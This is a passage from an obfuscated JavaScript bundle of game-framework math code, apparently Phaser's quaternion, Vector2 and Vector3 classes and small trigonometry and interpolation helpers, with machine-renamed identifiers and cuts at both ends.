'rotationTo': function (_0x2a4beb, _0x2c96a1) { var _0x178d8c = _0x2a4beb['x'] * _0x2c96a1['x'] + _0x2a4beb['y'] * _0x2c96a1['y'] + _0x2a4beb['z'] * _0x2c96a1['z']; return _0x178d8c < -0.999999 ? (_0x339b5c['copy'](_0x224654)['cross'](_0x2a4beb)['length']() < _0x495c3c && _0x339b5c['copy'](_0xdb7530)['cross'](_0x2a4beb), _0x339b5c['normalize'](), this['setAxisAngle'](_0x339b5c, Math['PI'])) : _0x178d8c > 0.999999 ? this['set'](0x0, 0x0, 0x0, 0x1) : (_0x339b5c['copy'](_0x2a4beb)['cross'](_0x2c96a1), this['_x'] = _0x339b5c['x'], this['_y'] = _0x339b5c['y'], this['_z'] = _0x339b5c['z'], this['_w'] = 0x1 + _0x178d8c, this['normalize']()); }, 'setAxes': function (_0x4baa59, _0x59fb05, _0x2a407f) { var _0xe615c2 = _0x2ea17c['val']; return _0xe615c2[0x0] = _0x59fb05['x'], _0xe615c2[0x3] = _0x59fb05['y'], _0xe615c2[0x6] = _0x59fb05['z'], _0xe615c2[0x1] = _0x2a407f['x'], _0xe615c2[0x4] = _0x2a407f['y'], _0xe615c2[0x7] = _0x2a407f['z'], _0xe615c2[0x2] = -_0x4baa59['x'], _0xe615c2[0x5] = -_0x4baa59['y'], _0xe615c2[0x8] = -_0x4baa59['z'], this['fromMat3'](_0x2ea17c)['normalize'](); }, 'identity': function () { return this['set'](0x0, 0x0, 0x0, 0x1); }, 'setAxisAngle': function (_0x267565, _0x594bdd) { _0x594bdd *= 0.5; var _0x108d91 = Math['sin'](_0x594bdd); return this['set'](_0x108d91 * _0x267565['x'], _0x108d91 * _0x267565['y'], _0x108d91 * _0x267565['z'], Math['cos'](_0x594bdd)); }, 'multiply': function (_0x372015) { var _0x2d9bb5 = this['x'], _0x168c73 = this['y'], _0x3f54e7 = this['z'], _0x3321f8 = this['w'], _0x557398 = _0x372015['x'], _0x2e6366 = _0x372015['y'], _0x18f3bf = _0x372015['z'], _0x5af041 = _0x372015['w']; return this['set'](_0x2d9bb5 * _0x5af041 + _0x3321f8 * _0x557398 + _0x168c73 * _0x18f3bf - _0x3f54e7 * _0x2e6366, _0x168c73 * _0x5af041 + _0x3321f8 * _0x2e6366 + _0x3f54e7 * _0x557398 - _0x2d9bb5 * _0x18f3bf, _0x3f54e7 * _0x5af041 + _0x3321f8 * _0x18f3bf + _0x2d9bb5 * _0x2e6366 - _0x168c73 * _0x557398, _0x3321f8 * _0x5af041 - _0x2d9bb5 * _0x557398 - _0x168c73 * _0x2e6366 - _0x3f54e7 * _0x18f3bf); }, 'slerp': function (_0x4e511d, _0x31cd1a) { var _0x4395df = this['x'], _0x55002b = this['y'], _0x141bde = this['z'], _0x4c3d6b = this['w'], _0x49e9ba = _0x4e511d['x'], _0x3fd912 = _0x4e511d['y'], _0x1bd047 = _0x4e511d['z'], _0x23921c = _0x4e511d['w'], _0x3d9747 = _0x4395df * _0x49e9ba + _0x55002b * _0x3fd912 + _0x141bde * _0x1bd047 + _0x4c3d6b * _0x23921c; _0x3d9747 < 0x0 && (_0x3d9747 = -_0x3d9747, _0x49e9ba = -_0x49e9ba, _0x3fd912 = -_0x3fd912, _0x1bd047 = -_0x1bd047, _0x23921c = -_0x23921c); var _0x1ffa7c = 0x1 - _0x31cd1a, _0x9ec962 = _0x31cd1a; if (0x1 - _0x3d9747 > _0x495c3c) { var _0xe5d58f = Math['acos'](_0x3d9747), _0x4654ef = Math['sin'](_0xe5d58f); _0x1ffa7c = Math['sin']((0x1 - _0x31cd1a) * _0xe5d58f) / _0x4654ef, _0x9ec962 = Math['sin'](_0x31cd1a * _0xe5d58f) / _0x4654ef; } return this['set'](_0x1ffa7c * _0x4395df + _0x9ec962 * _0x49e9ba, _0x1ffa7c * _0x55002b + _0x9ec962 * _0x3fd912, _0x1ffa7c * _0x141bde + _0x9ec962 * _0x1bd047, _0x1ffa7c * _0x4c3d6b + _0x9ec962 * _0x23921c); }, 'invert': function () { var _0x22479b = this['x'], _0x5272f8 = this['y'], _0x1744ef = this['z'], _0x34fa58 = this['w'], _0x48f939 = _0x22479b * _0x22479b + _0x5272f8 * _0x5272f8 + _0x1744ef * _0x1744ef + _0x34fa58 * _0x34fa58, _0x52e4b1 = _0x48f939 ? 0x1 / _0x48f939 : 0x0; return this['set'](-_0x22479b * _0x52e4b1, -_0x5272f8 * _0x52e4b1, -_0x1744ef * _0x52e4b1, _0x34fa58 * _0x52e4b1); }, 'conjugate': function () { return this['_x'] = -this['x'], this['_y'] = -this['y'], this['_z'] = -this['z'], this['onChangeCallback'](this), this; }, 'rotateX': function (_0x4171e8) { _0x4171e8 *= 0.5; var _0x23a231 = this['x'], _0x5ad5cc = this['y'], _0x5beb1a = this['z'], _0x97964a = this['w'], _0x113581 = Math['sin'](_0x4171e8), _0x49cb48 = Math['cos'](_0x4171e8); return this['set'](_0x23a231 * _0x49cb48 + _0x97964a * _0x113581, _0x5ad5cc * _0x49cb48 + _0x5beb1a * _0x113581, _0x5beb1a * _0x49cb48 - _0x5ad5cc * _0x113581, _0x97964a * _0x49cb48 - _0x23a231 * _0x113581); }, 'rotateY': function (_0x1d55cc) { _0x1d55cc *= 0.5; var _0x4b072a = this['x'], _0x2866e4 = this['y'], _0x82b87c = this['z'], _0x58af3f = this['w'], _0x5a91eb = Math['sin'](_0x1d55cc), _0x5d32b1 = Math['cos'](_0x1d55cc); return this['set'](_0x4b072a * _0x5d32b1 - _0x82b87c * _0x5a91eb, _0x2866e4 * _0x5d32b1 + _0x58af3f * _0x5a91eb, _0x82b87c * _0x5d32b1 + _0x4b072a * _0x5a91eb, _0x58af3f * _0x5d32b1 - _0x2866e4 * _0x5a91eb); }, 'rotateZ': function (_0x493b8e) { _0x493b8e *= 0.5; var _0x6b8ebc = this['x'], _0x35779a = this['y'], _0x376ef9 = this['z'], _0x2358c8 = this['w'], _0x47bc5c = Math['sin'](_0x493b8e), _0x5925c8 = Math['cos'](_0x493b8e); return this['set'](_0x6b8ebc * _0x5925c8 + _0x35779a * _0x47bc5c, _0x35779a * _0x5925c8 - _0x6b8ebc * _0x47bc5c, _0x376ef9 * _0x5925c8 + _0x2358c8 * _0x47bc5c, _0x2358c8 * _0x5925c8 - _0x376ef9 * _0x47bc5c); }, 'calculateW': function () { var _0x576c85 = this['x'], _0x464c60 = this['y'], _0x41b6d8 = this['z']; return this['w'] = -Math['sqrt'](0x1 - _0x576c85 * _0x576c85 - _0x464c60 * _0x464c60 - _0x41b6d8 * _0x41b6d8), this; }, 'setFromEuler': function (_0x59c04f, _0x5d1b74) { var _0x404f6b = _0x59c04f['x'] / 0x2, _0x473550 = _0x59c04f['y'] / 0x2, _0xe6f6e4 = _0x59c04f['z'] / 0x2, _0x179392 = Math['cos'](_0x404f6b), _0x2e6225 = Math['cos'](_0x473550), _0x230880 = Math['cos'](_0xe6f6e4), _0x449890 = Math['sin'](_0x404f6b), _0x24f2a8 = Math['sin'](_0x473550), _0x12a30e = Math['sin'](_0xe6f6e4); switch (_0x59c04f['order']) { case 'XYZ': this['set'](_0x449890 * _0x2e6225 * _0x230880 + _0x179392 * _0x24f2a8 * _0x12a30e, _0x179392 * _0x24f2a8 * _0x230880 - _0x449890 * _0x2e6225 * _0x12a30e, _0x179392 * _0x2e6225 * _0x12a30e + _0x449890 * _0x24f2a8 * _0x230880, _0x179392 * _0x2e6225 * _0x230880 - _0x449890 * _0x24f2a8 * _0x12a30e, _0x5d1b74); break; case 'YXZ': this['set'](_0x449890 * _0x2e6225 * _0x230880 + _0x179392 * _0x24f2a8 * _0x12a30e, _0x179392 * _0x24f2a8 * _0x230880 - _0x449890 * _0x2e6225 * _0x12a30e, _0x179392 * _0x2e6225 * _0x12a30e - _0x449890 * _0x24f2a8 * _0x230880, _0x179392 * _0x2e6225 * _0x230880 + _0x449890 * _0x24f2a8 * _0x12a30e, _0x5d1b74); break; case 'ZXY': this['set'](_0x449890 * _0x2e6225 * _0x230880 - _0x179392 * _0x24f2a8 * _0x12a30e, _0x179392 * _0x24f2a8 * _0x230880 + _0x449890 * _0x2e6225 * _0x12a30e, _0x179392 * _0x2e6225 * _0x12a30e + _0x449890 * _0x24f2a8 * _0x230880, _0x179392 * _0x2e6225 * _0x230880 - _0x449890 * _0x24f2a8 * _0x12a30e, _0x5d1b74); break; case 'ZYX': this['set'](_0x449890 * _0x2e6225 * _0x230880 - _0x179392 * _0x24f2a8 * _0x12a30e, _0x179392 * _0x24f2a8 * _0x230880 + _0x449890 * _0x2e6225 * _0x12a30e, _0x179392 * _0x2e6225 * _0x12a30e - _0x449890 * _0x24f2a8 * _0x230880, _0x179392 * _0x2e6225 * _0x230880 + _0x449890 * _0x24f2a8 * _0x12a30e, _0x5d1b74); break; case 'YZX': this['set'](_0x449890 * _0x2e6225 * _0x230880 + _0x179392 * _0x24f2a8 * _0x12a30e, _0x179392 * _0x24f2a8 * _0x230880 + _0x449890 * _0x2e6225 * _0x12a30e, _0x179392 * _0x2e6225 * _0x12a30e - _0x449890 * _0x24f2a8 * _0x230880, _0x179392 * _0x2e6225 * _0x230880 - _0x449890 * _0x24f2a8 * _0x12a30e, _0x5d1b74); break; case 'XZY': this['set'](_0x449890 * _0x2e6225 * _0x230880 - _0x179392 * _0x24f2a8 * _0x12a30e, _0x179392 * _0x24f2a8 * _0x230880 - _0x449890 * _0x2e6225 * _0x12a30e, _0x179392 * _0x2e6225 * _0x12a30e + _0x449890 * _0x24f2a8 * _0x230880, _0x179392 * _0x2e6225 * _0x230880 + _0x449890 * _0x24f2a8 * _0x12a30e, _0x5d1b74); }return this; }, 'setFromRotationMatrix': function (_0x4d8546) { var _0x1dc1d6, _0x39c11b = _0x4d8546['val'], _0xbe9bd5 = _0x39c11b[0x0], _0x53a68c = _0x39c11b[0x4], _0x5d7394 = _0x39c11b[0x8], _0x5c38e2 = _0x39c11b[0x1], _0x317db1 = _0x39c11b[0x5], _0x923c87 = _0x39c11b[0x9], _0x3bbe2b = _0x39c11b[0x2], _0x3f665b = _0x39c11b[0x6], _0x1faa98 = _0x39c11b[0xa], _0x49d19f = _0xbe9bd5 + _0x317db1 + _0x1faa98; return _0x49d19f > 0x0 ? (_0x1dc1d6 = 0.5 / Math['sqrt'](_0x49d19f + 0x1), this['set']((_0x3f665b - _0x923c87) * _0x1dc1d6, (_0x5d7394 - _0x3bbe2b) * _0x1dc1d6, (_0x5c38e2 - _0x53a68c) * _0x1dc1d6, 0.25 / _0x1dc1d6)) : _0xbe9bd5 > _0x317db1 && _0xbe9bd5 > _0x1faa98 ? (_0x1dc1d6 = 0x2 * Math['sqrt'](0x1 + _0xbe9bd5 - _0x317db1 - _0x1faa98), this['set'](0.25 * _0x1dc1d6, (_0x53a68c + _0x5c38e2) / _0x1dc1d6, (_0x5d7394 + _0x3bbe2b) / _0x1dc1d6, (_0x3f665b - _0x923c87) / _0x1dc1d6)) : _0x317db1 > _0x1faa98 ? (_0x1dc1d6 = 0x2 * Math['sqrt'](0x1 + _0x317db1 - _0xbe9bd5 - _0x1faa98), this['set']((_0x53a68c + _0x5c38e2) / _0x1dc1d6, 0.25 * _0x1dc1d6, (_0x923c87 + _0x3f665b) / _0x1dc1d6, (_0x5d7394 - _0x3bbe2b) / _0x1dc1d6)) : (_0x1dc1d6 = 0x2 * Math['sqrt'](0x1 + _0x1faa98 - _0xbe9bd5 - _0x317db1), this['set']((_0x5d7394 + _0x3bbe2b) / _0x1dc1d6, (_0x923c87 + _0x3f665b) / _0x1dc1d6, 0.25 * _0x1dc1d6, (_0x5c38e2 - _0x53a68c) / _0x1dc1d6)), this; }, 'fromMat3': function (_0xd12aff) { var _0x2a911e, _0x634087 = _0xd12aff['val'], _0x4abaff = _0x634087[0x0] + _0x634087[0x4] + _0x634087[0x8]; if (_0x4abaff > 0x0) _0x2a911e = Math['sqrt'](_0x4abaff + 0x1), this['w'] = 0.5 * _0x2a911e, _0x2a911e = 0.5 / _0x2a911e, this['_x'] = (_0x634087[0x7] - _0x634087[0x5]) * _0x2a911e, this['_y'] = (_0x634087[0x2] - _0x634087[0x6]) * _0x2a911e, this['_z'] = (_0x634087[0x3] - _0x634087[0x1]) * _0x2a911e; else { var _0x40779c = 0x0; _0x634087[0x4] > _0x634087[0x0] && (_0x40779c = 0x1), _0x634087[0x8] > _0x634087[0x3 * _0x40779c + _0x40779c] && (_0x40779c = 0x2); var _0x193854 = _0x5e82f7[_0x40779c], _0x40105d = _0x5e82f7[_0x193854]; _0x2a911e = Math['sqrt'](_0x634087[0x3 * _0x40779c + _0x40779c] - _0x634087[0x3 * _0x193854 + _0x193854] - _0x634087[0x3 * _0x40105d + _0x40105d] + 0x1), _0x19652e[_0x40779c] = 0.5 * _0x2a911e, _0x2a911e = 0.5 / _0x2a911e, _0x19652e[_0x193854] = (_0x634087[0x3 * _0x193854 + _0x40779c] + _0x634087[0x3 * _0x40779c + _0x193854]) * _0x2a911e, _0x19652e[_0x40105d] = (_0x634087[0x3 * _0x40105d + _0x40779c] + _0x634087[0x3 * _0x40779c + _0x40105d]) * _0x2a911e, this['_x'] = _0x19652e[0x0], this['_y'] = _0x19652e[0x1], this['_z'] = _0x19652e[0x2], this['_w'] = (_0x634087[0x3 * _0x40105d + _0x193854] - _0x634087[0x3 * _0x193854 + _0x40105d]) * _0x2a911e; } return this['onChangeCallback'](this), this; } }); _0x15b317['exports'] = _0x541d10; }, 0xa984: (_0x5a80a5, _0x5f4f5c, _0x276150) => { var _0x3369d7 = _0x276150(0x8e1f); _0x5a80a5['exports'] = function (_0x51647f) { return _0x51647f * _0x3369d7['RAD_TO_DEG']; }; }, 0x1227a: _0x5653cc => { _0x5653cc['exports'] = function (_0x13ba85, _0x474ee0) { void 0x0 === _0x474ee0 && (_0x474ee0 = 0x1); var _0x14d14b = 0x2 * Math['random']() * Math['PI']; return _0x13ba85['x'] = Math['cos'](_0x14d14b) * _0x474ee0, _0x13ba85['y'] = Math['sin'](_0x14d14b) * _0x474ee0, _0x13ba85; }; }, 0xed22: _0x2e20c1 => { _0x2e20c1['exports'] = function (_0x5086de, _0x1515b2) { void 0x0 === _0x1515b2 && (_0x1515b2 = 0x1); var _0x5e2a7f = 0x2 * Math['random']() * Math['PI'], _0x6d234d = 0x2 * Math['random']() - 0x1, _0x191182 = Math['sqrt'](0x1 - _0x6d234d * _0x6d234d) * _0x1515b2; return _0x5086de['x'] = Math['cos'](_0x5e2a7f) * _0x191182, _0x5086de['y'] = Math['sin'](_0x5e2a7f) * _0x191182, _0x5086de['z'] = _0x6d234d * _0x1515b2, _0x5086de; }; }, 0x1075d: _0x42d4b5 => { _0x42d4b5['exports'] = function (_0x41cf71, _0x2c89f5) { return void 0x0 === _0x2c89f5 && (_0x2c89f5 = 0x1), _0x41cf71['x'] = (0x2 * Math['random']() - 0x1) * _0x2c89f5, _0x41cf71['y'] = (0x2 * Math['random']() - 0x1) * _0x2c89f5, _0x41cf71['z'] = (0x2 * Math['random']() - 0x1) * _0x2c89f5, _0x41cf71['w'] = (0x2 * Math['random']() - 0x1) * _0x2c89f5, _0x41cf71; }; }, 0x8dd1: _0x3ead02 => { _0x3ead02['exports'] = function (_0x3a81a3, _0x417c7a) { var _0x37f035 = _0x3a81a3['x'], _0x2500b3 = _0x3a81a3['y']; return _0x3a81a3['x'] = _0x37f035 * Math['cos'](_0x417c7a) - _0x2500b3 * Math['sin'](_0x417c7a), _0x3a81a3['y'] = _0x37f035 * Math['sin'](_0x417c7a) + _0x2500b3 * Math['cos'](_0x417c7a), _0x3a81a3; }; }, 0x2d00: _0x3abf2b => { _0x3abf2b['exports'] = function (_0x4e7a4e, _0x2dc269, _0x3c7ddd, _0xaf6cf3) { var _0x1e1a92 = Math['cos'](_0xaf6cf3), _0x2f3604 = Math['sin'](_0xaf6cf3), _0x15e72d = _0x4e7a4e['x'] - _0x2dc269, _0x2e9855 = _0x4e7a4e['y'] - _0x3c7ddd; return _0x4e7a4e['x'] = _0x15e72d * _0x1e1a92 - _0x2e9855 * _0x2f3604 + _0x2dc269, _0x4e7a4e['y'] = _0x15e72d * _0x2f3604 + _0x2e9855 * _0x1e1a92 + _0x3c7ddd, _0x4e7a4e; }; }, 0x48b: _0x2714f2 => { _0x2714f2['exports'] = function (_0x357e3a, _0x305a2e, _0x3097fb, _0x19481f, _0x2ca486) { var _0x44bb60 = _0x19481f + Math['atan2'](_0x357e3a['y'] - _0x3097fb, _0x357e3a['x'] - _0x305a2e); return _0x357e3a['x'] = _0x305a2e + _0x2ca486 * Math['cos'](_0x44bb60), _0x357e3a['y'] = _0x3097fb + _0x2ca486 * Math['sin'](_0x44bb60), _0x357e3a; }; }, 0x112c0: _0x1f70e4 => { _0x1f70e4['exports'] = function (_0x84359e, _0x48631d, _0x5f4eba, _0x4161e1, _0x30bc63) { return _0x84359e['x'] = _0x48631d + _0x30bc63 * Math['cos'](_0x4161e1), _0x84359e['y'] = _0x5f4eba + _0x30bc63 * Math['sin'](_0x4161e1), _0x84359e; }; }, 0x11be6: (_0x2ddc18, _0x594925, _0x1c6eaf) => { var _0x3676be = _0x1c6eaf(0x64ec), _0x3a6e59 = _0x1c6eaf(0x93eb), _0x344abb = _0x1c6eaf(0x3d82), _0x5a8db2 = new _0x3a6e59(), _0x46cb2a = new _0x344abb(), _0x3f6d38 = new _0x3676be(); _0x2ddc18['exports'] = function (_0x42bd4e, _0x26ba80, _0x388852) { return _0x46cb2a['setAxisAngle'](_0x26ba80, _0x388852), _0x5a8db2['fromRotationTranslation'](_0x46cb2a, _0x3f6d38['set'](0x0, 0x0, 0x0)), _0x42bd4e['transformMat4'](_0x5a8db2); }; }, 0x8ec: _0x76f0a7 => { _0x76f0a7['exports'] = function (_0x1077e1) { return _0x1077e1 > 0x0 ? Math['ceil'](_0x1077e1) : Math['floor'](_0x1077e1); }; }, 0xa035: _0x13fc6c => { _0x13fc6c['exports'] = function (_0x259e5b, _0x470a9e, _0x4f4cac) { void 0x0 === _0x470a9e && (_0x470a9e = 0x0), void 0x0 === _0x4f4cac && (_0x4f4cac = 0xa); var _0x4ba100 = Math['pow'](_0x4f4cac, -_0x470a9e); return Math['round'](_0x259e5b * _0x4ba100) / _0x4ba100; }; }, 0x421a: _0x4ff586 => { _0x4ff586['exports'] = function (_0x4844c8, _0x3cbfaf, _0x24e2bb, _0x2abb21) { void 0x0 === _0x3cbfaf && (_0x3cbfaf = 0x1), void 0x0 === _0x24e2bb && (_0x24e2bb = 0x1), void 0x0 === _0x2abb21 && (_0x2abb21 = 0x1), _0x2abb21 *= Math['PI'] / _0x4844c8; for (var _0x5c1d6c = [], _0x581a8f = [], _0xc7b052 = 0x0; _0xc7b052 < _0x4844c8; _0xc7b052++)_0x3cbfaf += (_0x24e2bb -= _0x3cbfaf * _0x2abb21) * _0x2abb21, _0x5c1d6c[_0xc7b052] = _0x24e2bb, _0x581a8f[_0xc7b052] = _0x3cbfaf; return { 'sin': _0x581a8f, 'cos': _0x5c1d6c, 'length': _0x4844c8 }; }; }, 0x1db2: _0x51d068 => { _0x51d068['exports'] = function (_0x4dc89a, _0x2718fe, _0x2bc4e) { return _0x4dc89a <= _0x2718fe ? 0x0 : _0x4dc89a >= _0x2bc4e ? 0x1 : (_0x4dc89a = (_0x4dc89a - _0x2718fe) / (_0x2bc4e - _0x2718fe)) * _0x4dc89a * (0x3 - 0x2 * _0x4dc89a); }; }, 0xd3f5: _0x9c2e5a => { _0x9c2e5a['exports'] = function (_0x244164, _0x1898f8, _0x33f4dd) { return (_0x244164 = Math['max'](0x0, Math['min'](0x1, (_0x244164 - _0x1898f8) / (_0x33f4dd - _0x1898f8)))) * _0x244164 * _0x244164 * (_0x244164 * (0x6 * _0x244164 - 0xf) + 0xa); }; }, 0xad78: (_0x3ebf07, _0x5c69f8, _0x1a921a) => { var _0x1564ab = _0x1a921a(0x65f3); _0x3ebf07['exports'] = function (_0x4143fe, _0x5e0378, _0x229e3a, _0x53701d) { void 0x0 === _0x53701d && (_0x53701d = new _0x1564ab()); var _0x3f6a37 = 0x0, _0x2e23c2 = 0x0; return _0x4143fe > 0x0 && _0x4143fe <= _0x5e0378 * _0x229e3a && (_0x3f6a37 = _0x4143fe > _0x5e0378 - 0x1 ? _0x4143fe - (_0x2e23c2 = Math['floor'](_0x4143fe / _0x5e0378)) * _0x5e0378 : _0x4143fe), _0x53701d['set'](_0x3f6a37, _0x2e23c2); }; }, 0x14fc3: (_0x1054a9, _0x44a786, _0x547b94) => { var _0x3dbdcc = _0x547b94(0x65f3); _0x1054a9['exports'] = function (_0xc1ba23, _0x3cd461, _0x1e2c99, _0x2967c2, _0x1a3a82, _0x589aa5, _0x2f177a, _0x220758) { void 0x0 === _0x220758 && (_0x220758 = new _0x3dbdcc()); var _0x176353 = Math['sin'](_0x1a3a82), _0x4fc2bf = Math['cos'](_0x1a3a82), _0x543183 = _0x4fc2bf * _0x589aa5, _0x3f2d83 = _0x176353 * _0x589aa5, _0x334b7e = -_0x176353 * _0x2f177a, _0x3a6b97 = _0x4fc2bf * _0x2f177a, _0x56af79 = 0x1 / (_0x543183 * _0x3a6b97 + _0x334b7e * -_0x3f2d83); return _0x220758['x'] = _0x3a6b97 * _0x56af79 * _0xc1ba23 + -_0x334b7e * _0x56af79 * _0x3cd461 + (_0x2967c2 * _0x334b7e - _0x1e2c99 * _0x3a6b97) * _0x56af79, _0x220758['y'] = _0x543183 * _0x56af79 * _0x3cd461 + -_0x3f2d83 * _0x56af79 * _0xc1ba23 + (-_0x2967c2 * _0x543183 + _0x1e2c99 * _0x3f2d83) * _0x56af79, _0x220758; }; }, 0x65f3: (_0x185739, _0x578b29, _0x274872) => { var _0x3dd4eb = _0x274872(0x145db), _0x190f16 = _0x274872(0xab4f), _0x16337d = new _0x3dd4eb({ 'initialize': function (_0x2142e7, _0x18c22a) { this['x'] = 0x0, this['y'] = 0x0, 'object' == typeof _0x2142e7 ? (this['x'] = _0x2142e7['x'] || 0x0, this['y'] = _0x2142e7['y'] || 0x0) : (void 0x0 === _0x18c22a && (_0x18c22a = _0x2142e7), this['x'] = _0x2142e7 || 0x0, this['y'] = _0x18c22a || 0x0); }, 'clone': function () { return new _0x16337d(this['x'], this['y']); }, 'copy': function (_0x5097a7) { return this['x'] = _0x5097a7['x'] || 0x0, this['y'] = _0x5097a7['y'] || 0x0, this; }, 'setFromObject': function (_0x4f9a53) { return this['x'] = _0x4f9a53['x'] || 0x0, this['y'] = _0x4f9a53['y'] || 0x0, this; }, 'set': function (_0x4f170d, _0x338e62) { return void 0x0 === _0x338e62 && (_0x338e62 = _0x4f170d), this['x'] = _0x4f170d, this['y'] = _0x338e62, this; }, 'setTo': function (_0x4ed7b3, _0x5d7bd2) { return this['set'](_0x4ed7b3, _0x5d7bd2); }, 'setToPolar': function (_0x4abf30, _0x1bf4b0) { return null == _0x1bf4b0 && (_0x1bf4b0 = 0x1), this['x'] = Math['cos'](_0x4abf30) * _0x1bf4b0, this['y'] = Math['sin'](_0x4abf30) * _0x1bf4b0, this; }, 'equals': function (_0x1c6345) { return this['x'] === _0x1c6345['x'] && this['y'] === _0x1c6345['y']; }, 'fuzzyEquals': function (_0x135db7, _0x32dc2d) { return _0x190f16(this['x'], _0x135db7['x'], _0x32dc2d) && _0x190f16(this['y'], _0x135db7['y'], _0x32dc2d); }, 'angle': function () { var _0x5b7144 = Math['atan2'](this['y'], this['x']); return _0x5b7144 < 0x0 && (_0x5b7144 += 0x2 * Math['PI']), _0x5b7144; }, 'setAngle': function (_0x1afbc5) { return this['setToPolar'](_0x1afbc5, this['length']()); }, 'add': function (_0x43cbd8) { return this['x'] += _0x43cbd8['x'], this['y'] += _0x43cbd8['y'], this; }, 'subtract': function (_0x3fa0b4) { return this['x'] -= _0x3fa0b4['x'], this['y'] -= _0x3fa0b4['y'], this; }, 'multiply': function (_0x5b9c53) { return this['x'] *= _0x5b9c53['x'], this['y'] *= _0x5b9c53['y'], this; }, 'scale': function (_0x4b02fd) { return isFinite(_0x4b02fd) ? (this['x'] *= _0x4b02fd, this['y'] *= _0x4b02fd) : (this['x'] = 0x0, this['y'] = 0x0), this; }, 'divide': function (_0x175a7c) { return this['x'] /= _0x175a7c['x'], this['y'] /= _0x175a7c['y'], this; }, 'negate': function () { return this['x'] = -this['x'], this['y'] = -this['y'], this; }, 'distance': function (_0x10ca06) { var _0x3207c1 = _0x10ca06['x'] - this['x'], _0x4373d3 = _0x10ca06['y'] - this['y']; return Math['sqrt'](_0x3207c1 * _0x3207c1 + _0x4373d3 * _0x4373d3); }, 'distanceSq': function (_0x2c6cc0) { var _0x5186c2 = _0x2c6cc0['x'] - this['x'], _0x1e1525 = _0x2c6cc0['y'] - this['y']; return _0x5186c2 * _0x5186c2 + _0x1e1525 * _0x1e1525; }, 'length': function () { var _0x3f96fc = this['x'], _0x339b73 = this['y']; return Math['sqrt'](_0x3f96fc * _0x3f96fc + _0x339b73 * _0x339b73); }, 'setLength': function (_0x4b09b3) { return this['normalize']()['scale'](_0x4b09b3); }, 'lengthSq': function () { var _0x1e723e = this['x'], _0x1aeee0 = this['y']; return _0x1e723e * _0x1e723e + _0x1aeee0 * _0x1aeee0; }, 'normalize': function () { var _0x57aa59 = this['x'], _0x5d92cb = this['y'], _0x128f51 = _0x57aa59 * _0x57aa59 + _0x5d92cb * _0x5d92cb; return _0x128f51 > 0x0 && (_0x128f51 = 0x1 / Math['sqrt'](_0x128f51), this['x'] = _0x57aa59 * _0x128f51, this['y'] = _0x5d92cb * _0x128f51), this; }, 'normalizeRightHand': function () { var _0x40c32c = this['x']; return this['x'] = -0x1 * this['y'], this['y'] = _0x40c32c, this; }, 'normalizeLeftHand': function () { var _0x289b67 = this['x']; return this['x'] = this['y'], this['y'] = -0x1 * _0x289b67, this; }, 'dot': function (_0x30a3c0) { return this['x'] * _0x30a3c0['x'] + this['y'] * _0x30a3c0['y']; }, 'cross': function (_0x463420) { return this['x'] * _0x463420['y'] - this['y'] * _0x463420['x']; }, 'lerp': function (_0x43748a, _0x46d7e5) { void 0x0 === _0x46d7e5 && (_0x46d7e5 = 0x0); var _0x7b249e = this['x'], _0x31a976 = this['y']; return this['x'] = _0x7b249e + _0x46d7e5 * (_0x43748a['x'] - _0x7b249e), this['y'] = _0x31a976 + _0x46d7e5 * (_0x43748a['y'] - _0x31a976), this; }, 'transformMat3': function (_0x5865f5) { var _0x1abe31 = this['x'], _0x48466f = this['y'], _0x2369bf = _0x5865f5['val']; return this['x'] = _0x2369bf[0x0] * _0x1abe31 + _0x2369bf[0x3] * _0x48466f + _0x2369bf[0x6], this['y'] = _0x2369bf[0x1] * _0x1abe31 + _0x2369bf[0x4] * _0x48466f + _0x2369bf[0x7], this; }, 'transformMat4': function (_0x2e5747) { var _0x54704c = this['x'], _0x239ae5 = this['y'], _0x8e9a88 = _0x2e5747['val']; return this['x'] = _0x8e9a88[0x0] * _0x54704c + _0x8e9a88[0x4] * _0x239ae5 + _0x8e9a88[0xc], this['y'] = _0x8e9a88[0x1] * _0x54704c + _0x8e9a88[0x5] * _0x239ae5 + _0x8e9a88[0xd], this; }, 'reset': function () { return this['x'] = 0x0, this['y'] = 0x0, this; }, 'limit': function (_0x55a0a1) { var _0x300d20 = this['length'](); return _0x300d20 && _0x300d20 > _0x55a0a1 && this['scale'](_0x55a0a1 / _0x300d20), this; }, 'reflect': function (_0x5d0b55) { return _0x5d0b55 = _0x5d0b55['clone']()['normalize'](), this['subtract'](_0x5d0b55['scale'](0x2 * this['dot'](_0x5d0b55))); }, 'mirror': function (_0x5c2e62) { return this['reflect'](_0x5c2e62)['negate'](); }, 'rotate': function (_0x4a0eef) { var _0x4e4583 = Math['cos'](_0x4a0eef), _0x489c7f = Math['sin'](_0x4a0eef); return this['set'](_0x4e4583 * this['x'] - _0x489c7f * this['y'], _0x489c7f * this['x'] + _0x4e4583 * this['y']); }, 'project': function (_0x56dc87) { var _0x2b628c = this['dot'](_0x56dc87) / _0x56dc87['dot'](_0x56dc87); return this['copy'](_0x56dc87)['scale'](_0x2b628c); } }); _0x16337d['ZERO'] = new _0x16337d(), _0x16337d['RIGHT'] = new _0x16337d(0x1, 0x0), _0x16337d['LEFT'] = new _0x16337d(-0x1, 0x0), _0x16337d['UP'] = new _0x16337d(0x0, -0x1), _0x16337d['DOWN'] = new _0x16337d(0x0, 0x1), _0x16337d['ONE'] = new _0x16337d(0x1, 0x1), _0x185739['exports'] = _0x16337d; }, 0x64ec: (_0x21e973, _0x1a6670, _0x21f0fb) => { var _0x411bc8 = new (_0x21f0fb(0x145db))({ 'initialize': function (_0x1e05ee, _0x297717, _0x15827c) { this['x'] = 0x0, this['y'] = 0x0, this['z'] = 0x0, 'object' == typeof _0x1e05ee ? (this['x'] = _0x1e05ee['x'] || 0x0, this['y'] = _0x1e05ee['y'] || 0x0, this['z'] = _0x1e05ee['z'] || 0x0) : (this['x'] = _0x1e05ee || 0x0, this['y'] = _0x297717 || 0x0, this['z'] = _0x15827c || 0x0); }, 'up': function () { return this['x'] = 0x0, this['y'] = 0x1, this['z'] = 0x0, this; }, 'min': function (_0x2711e1) { return this['x'] = Math['min'](this['x'], _0x2711e1['x']), this['y'] = Math['min'](this['y'], _0x2711e1['y']), this['z'] = Math['min'](this['z'], _0x2711e1['z']), this; }, 'max': function (_0x29bc17) { return this['x'] = Math['max'](this['x'], _0x29bc17['x']), this['y'] = Math['max'](this['y'], _0x29bc17['y']), this['z'] = Math['max'](this['z'], _0x29bc17['z']), this; }, 'clone': function () { return new _0x411bc8(this['x'], this['y'], this['z']); }, 'addVectors': function (_0x1fe329, _0x3e5640) { return this['x'] = _0x1fe329['x'] + _0x3e5640['x'], this['y'] = 